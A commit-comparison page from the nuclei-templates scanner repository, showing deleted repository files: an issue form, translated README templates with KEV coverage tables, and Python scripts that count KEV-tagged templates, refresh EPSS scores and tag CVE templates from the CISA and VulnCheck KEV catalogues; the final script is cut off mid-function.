Compare commits

..
1 Commits
Author SHA1 Message Date
Prince Chaddha 918cc6a9b8 Update CVE-2024-50477 template according to review guidelines
- Fix template ID to match CVE
- Add impact and remediation fields
- Add missing classification fields (cvss-metrics, cvss-score, epss-score, epss-percentile, cpe)
- Update tags to follow proper format (cve, cve2024)
- Add vendor/product metadata fields
2025-07-16 11:41:31 +04:00
10305 changed files with 49763 additions and 97666 deletions

No files matched your search

-73
View File
@@ -1,73 +0,0 @@
name: Enhancement Request
description: Suggest an improvement or enhancement for nuclei-templates.
title: "[ENHANCEMENT] ..."
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to suggest an enhancement!
:warning: **Issues missing important information may be closed without further investigation.**
- type: checkboxes
attributes:
label: Is there an existing issue for this?
description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
options:
- label: I have searched the existing issues and discussions.
required: true
- type: textarea
attributes:
label: Enhancement Description
description: |
Provide a clear and concise description of the enhancement you're proposing.
What would you like to see improved or added?
placeholder: |
A clear description of what you want to happen...
validations:
required: true
- type: textarea
attributes:
label: Use Case / Problem
description: |
Describe the use case or problem that this enhancement would solve.
Why is this enhancement needed? What problem does it address?
placeholder: |
Currently, when...
This causes...
It would be better if...
validations:
required: true
- type: textarea
attributes:
label: Proposed Solution
description: |
Describe your proposed solution or implementation approach.
How do you envision this enhancement working?
placeholder: |
The enhancement could work by...
It should include...
validations:
required: false
- type: textarea
attributes:
label: Alternatives Considered
description: |
Have you considered any alternative solutions or workarounds?
placeholder: |
Alternative approach 1...
Alternative approach 2...
validations:
required: false
- type: textarea
attributes:
label: Additional Context
description: |
Add any other context, screenshots, examples, or references about the enhancement here.
Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
validations:
required: false
+3 -17
View File
@@ -14,11 +14,11 @@ Nuclei Templates
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
<a href="#-contributions">Contributions</a> •
<a href="#-discussion">Discussion</a> •
<a href="#-community">Community</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
</p>
@@ -36,21 +36,7 @@ An overview of the nuclei template project, including statistics on unique tags,
<table>
<tr>
<td>
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
| **KEV Source** | **Templates** | **Description** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
---
<td>
{get_top10()}
-101
View File
@@ -1,101 +0,0 @@
f"""
<h1 align="center">
Nuclei 模板
</h1>
<div align="center">
<a href="README.md">English</a> |
<a href="README_CN.md">简体中文</a> |
<a href="README_JA.md">日本語</a> |
<a href="README_KR.md">한국어</a>
</div>
<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
<a href="#-贡献">贡献</a> •
<a href="#-交流">交流</a> •
<a href="#-社区">社区</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
</p>
----
模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
## Nuclei模板项目情况概述
以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
<table>
<tr>
<td>
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
| **KEV 来源** | **模板数量** | **描述** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
---
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 文档
-----
详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
💪 贡献
-----
社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 交流
-----
如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
👨‍💻 社区
-----
欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery),与项目维护人员直接讨论,或与其他人分享有关安全和自动化的想法。
此外,您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们,了解 Nuclei 的最新动态。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
"""
-96
View File
@@ -1,96 +0,0 @@
f"""<h1 align="center">
Nuclei テンプレート
</h1>
<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
<a href="#-contributions">貢献</a> •
<a href="#-discussion">ディスカッション</a> •
<a href="#-community">コミュニティ</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
</p>
----
テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
## Nuclei テンプレートの概要
Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
<table>
<tr>
<td>
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
| **KEV ソース** | **テンプレート数** | **説明** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
---
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 ドキュメント
-----
新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
💪 貢献
-----
Nucleiテンプレートはコミュニティの貢献によって動作します。
[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 ディスカッション
-----
質問、疑問、アイデアを話し合いたいですか?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
👨‍💻 コミュニティ
-----
プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
皆さんの貢献とコミュニティの活性化への努力に感謝します。
:heart:
"""
-98
View File
@@ -1,98 +0,0 @@
f"""
<h1 align="center">
Nuclei 템플릿
</h1>
<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
<a href="#-contributions">기여</a> •
<a href="#-discussion">논의</a> •
<a href="#-community">커뮤니티</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">디스코드</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
</p>
----
템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
## Nuclei 템플릿 개요
고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다.
<table>
<tr>
<td>
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
| **KEV 소스** | **템플릿 수** | **설명** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
---
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 문서
-----
새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
💪 기여
-----
Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 논의
-----
같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
👨‍💻 커뮤니티
-----
프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
:heart:
"""
-119
View File
@@ -1,119 +0,0 @@
#!/usr/bin/env python3
"""
Count KEV and vKEV templates for README statistics
This script counts the number of templates with 'kev' and 'vkev' tags
and outputs the statistics in a format suitable for the README.
"""
import re
import sys
from pathlib import Path
from typing import Dict, Set
def has_tag_in_file(file_path: Path, tag: str) -> bool:
"""Check if a template file has a specific tag."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# Look for tags field and check if tag is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for tag as a standalone tag (not part of another word)
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
return True
except Exception as e:
print(f"Error reading {file_path}: {e}", file=sys.stderr)
return False
def count_kev_templates(root_dir: str) -> Dict[str, int]:
"""Count templates with KEV and vKEV tags."""
root_path = Path(root_dir)
# Find all YAML template files
patterns = [
"**/*.yaml",
"**/*.yml"
]
all_files = set()
for pattern in patterns:
all_files.update(root_path.glob(pattern))
# Filter out non-template files
template_files = [
f for f in all_files
if '/workflows/' not in str(f)
and '/.github/' not in str(f)
and '/profiles/' not in str(f)
]
kev_count = 0
vkev_count = 0
both_count = 0
kev_only_count = 0
vkev_only_count = 0
kev_files = set()
vkev_files = set()
for template_file in template_files:
has_kev = has_tag_in_file(template_file, 'kev')
has_vkev = has_tag_in_file(template_file, 'vkev')
if has_kev:
kev_count += 1
kev_files.add(template_file)
if has_vkev:
vkev_count += 1
vkev_files.add(template_file)
if has_kev and has_vkev:
both_count += 1
elif has_kev:
kev_only_count += 1
elif has_vkev:
vkev_only_count += 1
return {
'kev_total': kev_count,
'vkev_total': vkev_count,
'both': both_count,
'kev_only': kev_only_count,
'vkev_only': vkev_only_count,
'total_templates': len(template_files)
}
def main():
"""Main entry point."""
root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
stats = count_kev_templates(root_dir)
# Output in a format that can be easily parsed
print(f"KEV_TOTAL={stats['kev_total']}")
print(f"VKEV_TOTAL={stats['vkev_total']}")
print(f"BOTH={stats['both']}")
print(f"KEV_ONLY={stats['kev_only']}")
print(f"VKEV_ONLY={stats['vkev_only']}")
print(f"TOTAL_TEMPLATES={stats['total_templates']}")
# Also print human-readable summary to stderr for logging
print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
print(f"Templates in both: {stats['both']}", file=sys.stderr)
print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
if __name__ == "__main__":
main()
-256
View File
@@ -1,256 +0,0 @@
#!/usr/bin/env python3
"""
EPSS Score Updater for Nuclei Templates
This script updates EPSS scores for all CVE templates by:
1. Scanning all CVE YAML files
2. Extracting CVE IDs
3. Fetching latest EPSS scores from the FIRST API
4. Updating the templates with new scores
"""
import os
import re
import sys
import time
import yaml
import requests
from pathlib import Path
from typing import Dict, List, Tuple, Optional
# Configuration
EPSS_API_URL = "https://api.first.org/data/v1/epss"
BATCH_SIZE = 50 # API limit for batch requests
RATE_LIMIT_DELAY = 1 # seconds between API calls
MAX_RETRIES = 3
TIMEOUT = 30
class EPSSUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
def find_cve_templates(self) -> List[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
# Filter duplicates and sort
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
"""Fetch EPSS scores from API for multiple CVEs."""
epss_data = {}
# Process in batches
for i in range(0, len(cve_ids), BATCH_SIZE):
batch = cve_ids[i:i+BATCH_SIZE]
cve_param = ','.join(batch)
for attempt in range(MAX_RETRIES):
try:
print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
response = requests.get(
EPSS_API_URL,
params={'cve': cve_param},
timeout=TIMEOUT
)
response.raise_for_status()
data = response.json()
if data.get('status') == 'OK' and 'data' in data:
for item in data['data']:
cve_id = item['cve'].upper()
epss_data[cve_id] = {
'epss': item['epss'],
'percentile': item['percentile']
}
break # Success, exit retry loop
except requests.RequestException as e:
print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print(f"Failed to fetch EPSS data for batch: {batch}")
else:
time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
except Exception as e:
print(f"Unexpected error: {e}")
break
# Rate limiting between batches
if i + BATCH_SIZE < len(cve_ids):
time.sleep(RATE_LIMIT_DELAY)
return epss_data
def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
"""Update a template file with new EPSS scores."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# Parse YAML to get structure
try:
template_data = yaml.safe_load(content)
except yaml.YAMLError as e:
print(f"YAML parsing error in {file_path}: {e}")
return False
if not template_data or 'info' not in template_data:
print(f"Invalid template structure in {file_path}")
return False
# Ensure classification section exists
if 'classification' not in template_data['info']:
template_data['info']['classification'] = {}
classification = template_data['info']['classification']
# Convert EPSS values to float for comparison
new_epss = float(epss_data['epss'])
new_percentile = float(epss_data['percentile'])
current_epss = classification.get('epss-score', 0)
current_percentile = classification.get('epss-percentile', 0)
# Check if update is needed
if (abs(new_epss - float(current_epss)) < 0.00001 and
abs(new_percentile - float(current_percentile)) < 0.00001):
return False # No significant change
# Update scores using string replacement to preserve formatting
epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
# Update epss-score
if 'epss-score:' in content:
content = re.sub(
r'(\s+epss-score:\s*)[0-9.]+',
fr'\g<1>{epss_score_str}',
content
)
else:
# Add after cve-id if exists
if 'cve-id:' in content:
content = re.sub(
r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
fr'\g<1> epss-score: {epss_score_str}\n',
content
)
# Update epss-percentile
if 'epss-percentile:' in content:
content = re.sub(
r'(\s+epss-percentile:\s*)[0-9.]+',
fr'\g<1>{percentile_str}',
content
)
else:
# Add after epss-score
content = re.sub(
r'(\s+epss-score:\s*[0-9.]+\s*\n)',
fr'\g<1> epss-percentile: {percentile_str}\n',
content
)
# Write updated content
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
return True
except Exception as e:
print(f"Error updating {file_path}: {e}")
return False
def run(self):
"""Main execution function."""
print("Starting EPSS score update...")
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Extract CVE IDs and map to files
cve_to_files = {}
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
if cve_id not in cve_to_files:
cve_to_files[cve_id] = []
cve_to_files[cve_id].append(file_path)
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"Found {len(cve_to_files)} unique CVE IDs")
# Fetch EPSS scores
all_cve_ids = list(cve_to_files.keys())
epss_data = self.fetch_epss_scores(all_cve_ids)
print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
# Update templates
for cve_id, files in cve_to_files.items():
if cve_id in epss_data:
for file_path in files:
if self.update_template(file_path, cve_id, epss_data[cve_id]):
self.updated_count += 1
else:
print(f"No EPSS data found for {cve_id}")
self.error_count += 1
print(f"\nUpdate complete!")
print(f"Templates updated: {self.updated_count}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = EPSSUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
-366
View File
@@ -1,366 +0,0 @@
#!/usr/bin/env python3
"""
Enhanced KEV and vKEV Tagging Updater for Nuclei Templates
This script updates KEV and vKEV (VulnCheck Known Exploited Vulnerabilities) tags for all CVE templates by:
1. Fetching the latest CISA KEV catalog
2. Fetching VulnCheck's KEV data (if API key available)
3. Adding 'kev' tag for CISA KEV CVEs
4. Adding 'vkev' tag for VulnCheck KEV CVEs (including those not in CISA)
"""
import os
import re
import sys
import time
import json
import requests
from pathlib import Path
from typing import Set, Optional, Dict, Tuple
# Configuration
CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
VULNCHECK_KEV_API_URL = "https://api.vulncheck.com/v3/index/vulncheck-kev"
TIMEOUT = 30
MAX_RETRIES = 3
VULNCHECK_PAGE_SIZE = 100
class EnhancedKEVUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
self.cisa_kev_cves = set()
self.vulncheck_kev_cves = set()
self.vulncheck_api_key = os.getenv('VULNCHECK_API_KEY')
def find_cve_templates(self) -> list[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_cisa_kev_data(self) -> Set[str]:
"""Fetch CISA KEV catalog and return set of CVE IDs."""
kev_cves = set()
for attempt in range(MAX_RETRIES):
try:
print("Fetching CISA KEV catalog...")
response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'vulnerabilities' in data:
for vuln in data['vulnerabilities']:
if 'cveID' in vuln:
kev_cves.add(vuln['cveID'].upper())
print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
break
else:
print("Invalid CISA KEV data format")
except requests.RequestException as e:
print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print("Failed to fetch CISA KEV data")
else:
time.sleep(2 * (attempt + 1))
except Exception as e:
print(f"Unexpected error fetching CISA KEV: {e}")
break
return kev_cves
def fetch_vulncheck_kev_data(self) -> Set[str]:
"""Fetch VulnCheck KEV catalog and return set of CVE IDs."""
if not self.vulncheck_api_key:
print("VulnCheck API key not available, skipping vKEV data fetch")
return set()
vkev_cves = set()
page = 1
total_pages = None
pages_fetched = 0
print("Fetching VulnCheck KEV catalog...")
while True:
for attempt in range(MAX_RETRIES):
try:
headers = {
'Authorization': f'Bearer {self.vulncheck_api_key}',
'Accept': 'application/json'
}
params = {
'limit': VULNCHECK_PAGE_SIZE,
'page': page
}
response = requests.get(VULNCHECK_KEV_API_URL, headers=headers, params=params, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'data' in data and data['data']:
for entry in data['data']:
if 'cve' in entry and entry['cve']:
for cve_id in entry['cve']:
if cve_id and cve_id.startswith('CVE-'):
vkev_cves.add(cve_id.upper())
# Check pagination info
meta = data.get('_meta', {})
total_pages = meta.get('total_pages', 0)
current_page = meta.get('page', page)
pages_fetched += 1
print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
# Check if we've reached the last page
if current_page >= total_pages:
print(f"Completed fetching all {pages_fetched} pages")
return vkev_cves
# Rate limiting: small delay between requests to avoid hitting API limits
if pages_fetched % 10 == 0: # Every 10 pages, longer delay
print(f"Pausing for rate limiting after {pages_fetched} pages...")
time.sleep(2)
else:
time.sleep(0.5) # Small delay between requests
page += 1
break # Break retry loop, continue to next page
else:
print("No more VulnCheck KEV data")
return vkev_cves
except requests.RequestException as e:
print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
if attempt == MAX_RETRIES - 1:
print(f"Failed to fetch VulnCheck KEV data for page {page}")
return vkev_cves # Return what we have so far
else:
